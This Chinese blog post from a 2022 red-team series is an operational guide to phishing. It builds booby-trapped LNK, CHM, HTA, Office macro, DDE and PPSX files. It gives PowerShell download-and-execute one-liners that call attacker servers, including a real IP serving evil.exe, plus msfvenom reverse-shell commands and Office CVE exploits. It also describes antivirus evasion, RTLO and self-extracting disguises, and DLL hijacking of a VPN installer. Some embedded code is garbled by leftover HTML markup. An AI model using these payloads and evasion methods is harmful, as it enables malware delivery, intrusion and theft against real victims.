【2022HVV系列】|9-红蓝对抗之钓鱼篇:常见钓鱼思路总结

VSole2022-06-19 07:55:32

目录

1、文档连接钓鱼
  1)LINK链接钓鱼
  2)LINK快捷方式钓鱼
  3)CHM文档钓鱼
  CHM文档bypass waf
  4)HTA钓鱼
  5)宏钓鱼
  宏钓鱼 bypass waf
  6)OLE(Object Linking and Embedding,对象链接与嵌入)
  7)嵌入JS元素
  8)利用模板文件注入宏指令
  9)CVE
2、伪造界面钓鱼
  1)PPT动作按钮特性构造 PPSX 钓鱼
3、exe等可执行文件
  1)shellcode 异或加密免杀(golang)
  2)shellcode转换免杀
  3)shellcode编译免杀
  4)shellcode分离加载免杀
  5)绕过沙盒
  6)exe伪装
  7)绕过行为检测
  8)DLL劫持+重新制作安装包
  9)免杀思路
4、邮件钓鱼
5、flash钓鱼
6、网站钓鱼

1、文档连接钓鱼

1)LINK链接钓鱼

首先说明一点:ftp加! 可以执行命令

首先创建一个ftp的快捷方式,然后新建一个文件名 aaa.dll ,然后内容为cs的后门恶意链接(powershell上线命令)

快捷方式的起始位置留空,目标为:C:\Winodws\System32\ftp.exe -""s:aaa.dll

快捷方式的图标以及名字可以进行适当的伪装

这里演示一下生成后门恶意链接

运行CS,根据图片点击:Scripted Wed Delivery(s)

主机地址为CS服务器端地址,监听使用之前的监听就可以,然后执行

这里就创建好了一个 powershell 的回连恶意链接 复制即可


powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"

但是如果直接第三方调用powershell加参的话会被360等拦截,所以要采用无参调用


2)LINK快捷方式钓鱼

此方式与上述方式类似

首先查找后门绝对路径,可以提权后门的有很多文件,这里以 powershell.exe 进行演示

打开目录,找到路径为:

C:\Windows\System32\WindowsPowerShell\v1.0

生成后门恶意链接



创建 lnk 创建方式

将powershell恶意代码放入进行修改,将代码最前端添加绝对路径


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new- object net.webclient).downloadstring('http://x.x.x.x:80/a'))"

这里免杀的话,使用base64等等进行混淆

然后对该文件右键选择进行创建快捷方式,对快捷方式右键选择属性,在目标写入恶意回弹代码

可以对图标和名称进行适当的更改,之后就可以开始钓鱼了

3)CHM文档钓鱼

使用 EasyCHM 可以轻松的新建一个 chm 文件

EasyCHM、Cobalt Strike、MyJSRat 钓鱼流程:制作html -> 制作chm文件 -> 伪装 -> 打开chm上线

首先创建个空文件夹

创建html文件,代码如下

Mousejack replay


command exec 






<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">x.Click();<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">

注意:",payload",上面代码中为",calc.exe",此处,payload前面要加一个英文版的逗号,,否则打开chm文档时会出错

此处打开文档执行的calc,也就是计算器

Easy CHM制作CHM文档

新建工程

工程目录选择我们建立的test文件夹(html文件放在文件夹内)


点击编译 生成CHM


双击打开查看

弹出计算机

尝试使用 Cobalt Strike 木马 + CHM 上线

Cobalt Strike -> 点击attacks -> web Drive by -> scriped web Delivery

上文有详细步骤

设立好监听点击开始

然后将 calc.exe 替换为:

Mousejack replay


command exec 






<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">x.Click();<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">

注意:exe后面要再加一个英文版逗号,否则无法执行exe,再是注意生成出来的payload字符串的双引号跟单引号的冲突

再重新生成,查看是否上线

MyJSRat配合CHM进行上线

MyJSRat下载地址:https://github.com/Ridter/MyJSRat

python2运行下面的命令:

此处使用交互模式

python2 MyJSRat.py -i 192.168.27.180 -p 8080

Kali Linux 运行访问

复制代码替换payload,记得加上逗号

Mousejack replay


command exec 






<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">x.Click();<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">

然后重新生成CHM并且执行

在kali上可以进行命令交互

CHM内容伪装

先拿一个正常的CHM文档内容,转为html

通过hh命令,转为html

hh -decompile .[\\html](file://html) CSS2.0中文手册.chm

钓鱼html嵌入到 html/css2/c_color.html


工程目录选择css2


注意此处,一定要诱导用户点击到 c_color.html 模块才可以

CHM文档bypass waf

(1)利用powershell无参运行,但是要把powershell脚本打包编译成chm,然后利用自带hh.exe 。hh.exe具有decompile(反编译,将chm返回成html,其实就类似chm可以比喻成一个压缩包,decompile是解压缩)的功能,可以将打包进chm的文件释放出来。

HH.EXE -decompile C:\Windows\Temp ./XMLconvert.chm

(2) CHM本身支持js(jscript)语法,可以利用c#写个弹shell的,然后利用利用DotNetToJScript转js,然后在把js混淆加密进行打包免杀,利用cscript或者wscript来执行js。类似的还有执行hta文件等等。

4)HTA钓鱼

HTA 是 HTML Application 的缩写,直接将 HTML 保存成 HTA 的格式,是一个独立的应用软件。HTA虽然用HTML、JS和CSS编写,缺比普通网页权限大得多,它具有桌面程序的所有权限。就是一个 html 应用程序,双击就可以运行

正常是msf生成的hta文件弹shell,假设目标存在命令执行的漏洞,那么咱们在目标上执行如下即可返回msf的shell

mshta http://127.0.0.1:8080/xxx.hta

远程调用一般会被杀,最好本地运行

利用github开源项目可以绕过部分waf

https://github.com/mdsecactivebreach/CACTUSTORCH


5)宏钓鱼

正常操作是利用cs生成宏代码,复制到vb里面去

然后显示的是宏被禁用,为了增强迷惑性,可以进行编辑一下

首先在word选项中开启开发工具

然后把宏打开

创建一个 test.doc

然后点击 Visual Basic

使用Cobalt Strike 生成木马

点击添加一个监听端口,注意:如果端口在防火墙上策略有误,则会导致反弹失败


将代码粘贴到刚才打开的地方

然后保存即可

doc格式和其它启用宏的模板的格式都可以

doc格式和原来格式的图标一样

运行文件,发现cs上线

可以使用EvilClippy进行免杀

https://github.com/outflanknl/EvilClippy

使用一个正常的vba文件和恶意文件来进行混淆,来躲避杀软检测

Excel文件也可以进行钓鱼

新建一个Excel,在左下角的sheet处右键单击,选择插入:

在弹出的对话框中选择 MS Excel 4.0 宏表,点击确定

完成之后左下角多了一栏 宏

分别在A1和A2输入

=exec("c:\windows\system32\cmd.exe")

=halt()

并将A1改为Auto_Open,修改完回车,这样就可以一打开文件就加载指令最后保存为xlsm后缀的文件

这里的exec其实是执行的cmd命令,我们可以借此来上线CS等操作


宏钓鱼 bypass waf

(1)使用远程加载XSL文件达到免杀

https://github.com/sevagas/macro_pack

https://github.com/mdsecactivebreach/SharpShooter

(2)高级VBA宏免杀

参考 https://www.certego.net/en/news/advanced-vba-macros/

6)OLE(Object Linking and Embedding,对象链接与嵌入)

是一种把一个文件嵌入到另一个文件中的技术

msfvenom -p windows/meterpreter/reverse_http lhost=ip lport=port -f vbs -o payload.vbs

在开源的 openoffice 中可以直接只有DDE函数,像 =DDE("cmd";"/C calc";"123") 这样调用。而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDe。

注意:该方法的提示窗口只提示 application 而不提示 topic

excel:(如果前缀是"="、"+" 或 "-",则将其余部分视为表达式)

=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://XXXX/getshell.ps1");IEX $e'!_xlbgnm.A1

word:

打开一个新的word文档,按下键盘的组合键 CTRL + F9 ,在文档中出现"{}"之后,将下面的这段代码复制到两个大括号之间

{ DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }

msf中可直接用,生成一个rtf文档,点击即可上线

use exploit/windows/fileformat/office_dde_delivery

set lport 4444

set lhost xx.xx.xx.xx

7)嵌入JS元素

这个方式的原理是,如果我们往word中插进联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。

一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作

<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">var a = document.createElement('a');<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">console.log(a);<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">document.body.appendChild(a);<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">a.style = 'display: none';<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">a.href = "http://149.129.64.180/evil.exe";  //该行若存在,打开word文件会报错<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">a.download = fileName;<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">window.URL.revokeObjectURL(url);<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">
<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">a.click();<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">

8)利用模板文件注入宏指令

原理是,先创建一个带模板的文档,再创一个启用宏的模板文件。然后在带模板的文档的压缩包里面修改一些内容,使其指向的模板修改为我们自己创建的模板文件,这之间的过程可以由smb协议完成,故过查杀几率较高。

我们在启用宏的模板文件(doc3.dotm)里写入宏。

Sub AutoOpen()
Shell "calc"
End Sub


9)CVE

Office历史上出现的可导致远程命令执行的漏洞有很多、如:CVE-2017-0199、CVE-2017-8570、CVE-2017-8759、CVE-2017-11882、CVE-2018-0802 等

CVE-2017-0199

https://github.com/bhdresh/CVE-2017-0199

影响版本:office 2016、2013、2010、2007

CVE-2017-11882

https://github.com/Ridter/CVE-2017-11882/

影响版本:office 2016、2013、2010、2007、2003

CVE-2018-0802

https://github.com/rxwx/CVE-2018-0802

影响版本:office 2016、2013 Server Pack1、2010 Server Pack2、2007 Server Pack3

2、伪造界面钓鱼

1)PPT动作按钮特性构造 PPSX 钓鱼

运行程序比如可以选用cs powershell 的代码。选择ppsx进行保存

然后弹出的窗口处


powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php',\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""

然后将格式保存为ppsx格式保存即可 执行即可上线

3、exe等可执行文件

1)shellcode 异或加密免杀(golang)

利用 msfvenom 生成一段 shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp -f num LHOST=192.168.141.136 LPORT=1234

利用 golang ,将shellcode进行异或

进行编译(在windows进行编译)

go build xxx.go运行即可

也可以利用aes加密等等


2)shellcode转换免杀

C#编译成exe -> exe -> 转js -> js混淆

参考文章:https://wtfsec.org/posts/%E5%85%8D%E6%9D%80-msf-windows-payload-%E7%9A%84%E6%96%B9%E6%B3%95%E4%B8%8E%E5%AE%9E%E8%B7%B5/

利用DotNetToJScript转exe为js

https://github.com/tyranid/DotNetToJScript


3)shellcode编译免杀

使用msf生成一个PHP马(也可以其他语言的,比如perl啥的)

msfvenom -a x86 --platform Windows -p php/meterpreter_reverse_tcp LHOST=LPORT=-f raw > shell.php

利用bamcompile将php转为exe

bamcompile -w -c shell.php shell.exe

4)shellcode分离加载免杀

分离一般分2种,一个是远程加载shellcode,另外是通过运行程序的时候将加密数据传入

远程加载可以利用socket创建套接字或者直接http请求远程地址,钓鱼的时候可以将shellcode放在使用说明啥的

shellcode loader github开源项目很多


5)绕过沙盒

主要思想:判断父进程是否为Debugger:在沙盒内被调试

判断时间是否被加速:一般沙盒内的程序时间都会加速

判断系统盘是否大于50GB:一个正常的PC的系统盘都会大于50GB

虚拟机其他特征

https://github.com/dycsy/ShellcodeLoader
https://github.com/1y0n/AV_Evasion_Tool



6)exe伪装

1、图标伪装

这里使用 Restorator 2018 小工具进行图标修改

http://www.pc6.com/softview/SoftView_585736.html

激活将附带的激活码填入即可

然后使用 Restorator 修改图标

直接点击exe文件拖入即可,如果没有图标文本的话,可以在电脑找一个exe格式的图标拖入,然后显示图标后复制过来即可

图标的话需要ico格式

https://www.easyicon.net/iconsearch/⾳乐ico/

http://www.bitbug.net/在线制作ico图标

在这⾥下载图标,并在bitbug转换格式即可!

更改图标直接再图标处右键导入

2、RTLO

通过重命名,在a后面右键,插入Unicode控制字符 -> RLO



实测钓鱼方式有些古老,不管是不是病毒只要使用此方式伪装,360都会查杀

3、rar解压自运行

木马文件:artifact.exe 迷惑文件:calc.exe

进入winrar,选中这两个文件,右键添加至压缩包,创建自解压格式压缩文件

高级 -> 自解压选项 -> 设置

提取前打开伪装文件,提取后运行马

模式 -> 全部隐藏

更新 -> 解压并更新文件,覆盖所有文件

双击可以打开计算机,CS上线


7)绕过行为检测

部分敏感行为可操作windowsAPI

比如360对添加用户会拦截

可以操作以下两个API绕过

NetUserAdd

NetLocalGroupAddMembers

其他的免杀还有内存(一般可用壳,但大多基本壳都在waf的特征库中)、花指令等等

8)DLL劫持+重新制作安装包

DLL劫持指的是病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序预先准备好的恶意DLL

如下面图片中的,LPK.dll是应用程序运行所需要加载的DLL,该系统文件默认在C:\Winodws\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作

在蓝队可以利用此方法反制红队,例如在准备好的虚拟机中点击红队的钓鱼邮件,并准备一些让红队感兴趣的东西

比如梯子的安装包以及梯子的账号密码

这里可能会用到拿破轮胎大佬写的DLL注入工具

使用方法:

1.输入CS或者msf生成的shellcode生成免杀DLL文件

2.添加需要劫持的软件或者dll

3.劫持过后会在运行目录生成一个DLL和配置文件

4.需要把两个文件放在被劫持的软件同目录下才可以运行

注意:

本文采用EasyConnectInstaller做测试,使用其他软件测试的话,可以使用Process Monitor来对系统进程进行监控,找到系统程序调用DLL的情况

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

参考文章:

https://blog.csdn.net/weixin_35771144/article/details/111056447

使用CS生成shellcode


把shellcode放入工具然后生成dll即可

选择DLL处选择生成的DLL

注入目标为

C:\Program Files (x86)\Sangfor\SSL\SangforCSClient 下的

注入到注册表后,将 wwwcomw.dll 和 conf.inf 放入到软件目录下

然后运行即可上线

然后接下来使用NSIS重新制作安装包

使用NSIS制作安装包可以参考:https://www.cnblogs.com/modou/p/3573772.html


9)免杀思路

1、CS生成exe的payload

2、exe-payload 放置公网服务器

3、再CS生成python-payload

4、将python-payload转base64值

5、base64值的payload再用序列化转码

6、序列化转码后的payload再用反序列化转码

7、转成反序列化后的payload再用python3的tinyaes混淆

8、混淆完再用另外的东西加壳成对方环境执行的文件类型即可

可以查查掩日

最终形成的文件类型,执行的原理仅仅是运行下载公网服务器第一步上次的payload并运行

GoFildBinder

https://github.com/Yihsiwei/GoFileBinder

golang免杀捆绑器 捆绑器免杀效果会持续更新下去

使用以下命令进行捆绑器编译

go build GoFileBinder.go

使用以下命令生成捆绑文件(注:GoFileBinder.exe单独放入一个文件夹中)

GoFileBinder.exe 木马.exe xxx.txt

也可以尝试使用kali自带的upx

4、邮件钓鱼

包含邮件服务器相关环境搭建,邮件信息收集,参考:

https://www.freebuf.com/articles/web/260391.html

5、flash钓鱼

源码:https://github.com/r00tSe7en/Fake-flash.cn

尝试自解压或者配合捆绑

6、网站钓鱼

制作钓鱼网站,克隆网站

cs,msf 都有这个功能

setoolkit

payload免杀
本作品采用《CC 协议》,转载必须注明作者和本文链接
在大型的“闪电战式”红蓝对抗演练中,往往由多个平行部门、跨部门,甚至跨公司组成一个“临时”团队,“共同”对抗与应对“一定时间限制内”的红蓝对抗演练。而其中主要的资源将会采取“集中式”,主要的行动采取“闪电式”。但是在整体的行动路径上,都会发生这样与那样的“问题”,而这里的“问题”其主要抽象出来就是“矛盾”的性质与属性,而本篇“方法论”中,将会采取战术的可控流程与可控标准来限制“矛盾”、控制“矛盾”
MSF+生成流量木马
2022-01-14 11:34:16
在实战中,即便你绕过了毒软件的检测,也很有可能会结束在某些流量监控的设备上。MSF可以说其是每一个内网玩家的必用工具。理所当然,这款工具也自然而然地被各大安全厂商分析,捕捉其在命令执行时产生的数据和流量。当我们使用一个没有做过加密处理的原版工具时,内网中的安全设备会根据我们的流量特征进行判断,认定我们为恶意进程,从而导致控制中断。Meterpreter技巧生成后门msfvenom?
溢出漏洞提权是利用目标操作系统层漏洞进行权限提升,通常步骤是拿到shell后获取目标机器的补丁信息,通过目标的补丁情况获取相对应的漏洞,进行提权
在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。我们先来讲一下什么是正向连接和反向连接。centos执行python -c 'import socket,subprocess,os;s=socket.socket;s.connect;os.dup2; os.dup2; os.dup2;p=subprocess.call;'. 这个payload是反向连接并且只支持Linux,Windows可以参考离别歌师傅的python windows正向连接后门。这样会把目标机的/bin/bash反弹给攻击机但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式.PHP攻击机监听nc -lvvp 4444. 要求目标机器有php然后执行php -r '$sock=fsockopen;exec;'. 加载64位的shellcode需要用64位的msbuildC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
云函数简介 云函数是腾讯云为企业和开发者们提供的无服务器执行环境,可以无需购买和管理服务器的情况下运行代码。只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。SCF是实时文件处理和数据处理等场景下理想的计算平台。服务端配置云函数基础配置选择自定义创建,地域自选,部署模式,代码部署,运行环境Python3.6,其余默认即可。
时间线11 月 10 日,我们发现了一次多阶段 PowerShell 攻击,该攻击使用冒充哈萨克斯坦卫生部的
前言 今天本来想做个PS1的,但做的时候要用到cobaltstrike来生成ps1后门 刚开始的时候并不知道cobaltstrike是一个用于团队项目的工具,所以过程中出现了很多问题。为了让大家熟悉cobaltstrike的运行流程 感觉还是很有必要写一篇有关cobaltstrike公网配置的文章。顺便讲一下一个很不错的脚本 新版本的CS要配合linux服务端才能运行起来。更多操作等你们发现~ 原创:...
cobaltstrike4.5特征消除2修改了内置stage的配置,实现硬性特征消除修改部分payload,实现基本修改checksum8 判等参数public static long checksum8 {. 修改随机生成算法写入方法,传值 public static void main {. 修改传值修改common/CommonUtils的public static String MSFURI {. string = "/" + pick + pick + pick + pick;
VSole
网络安全专家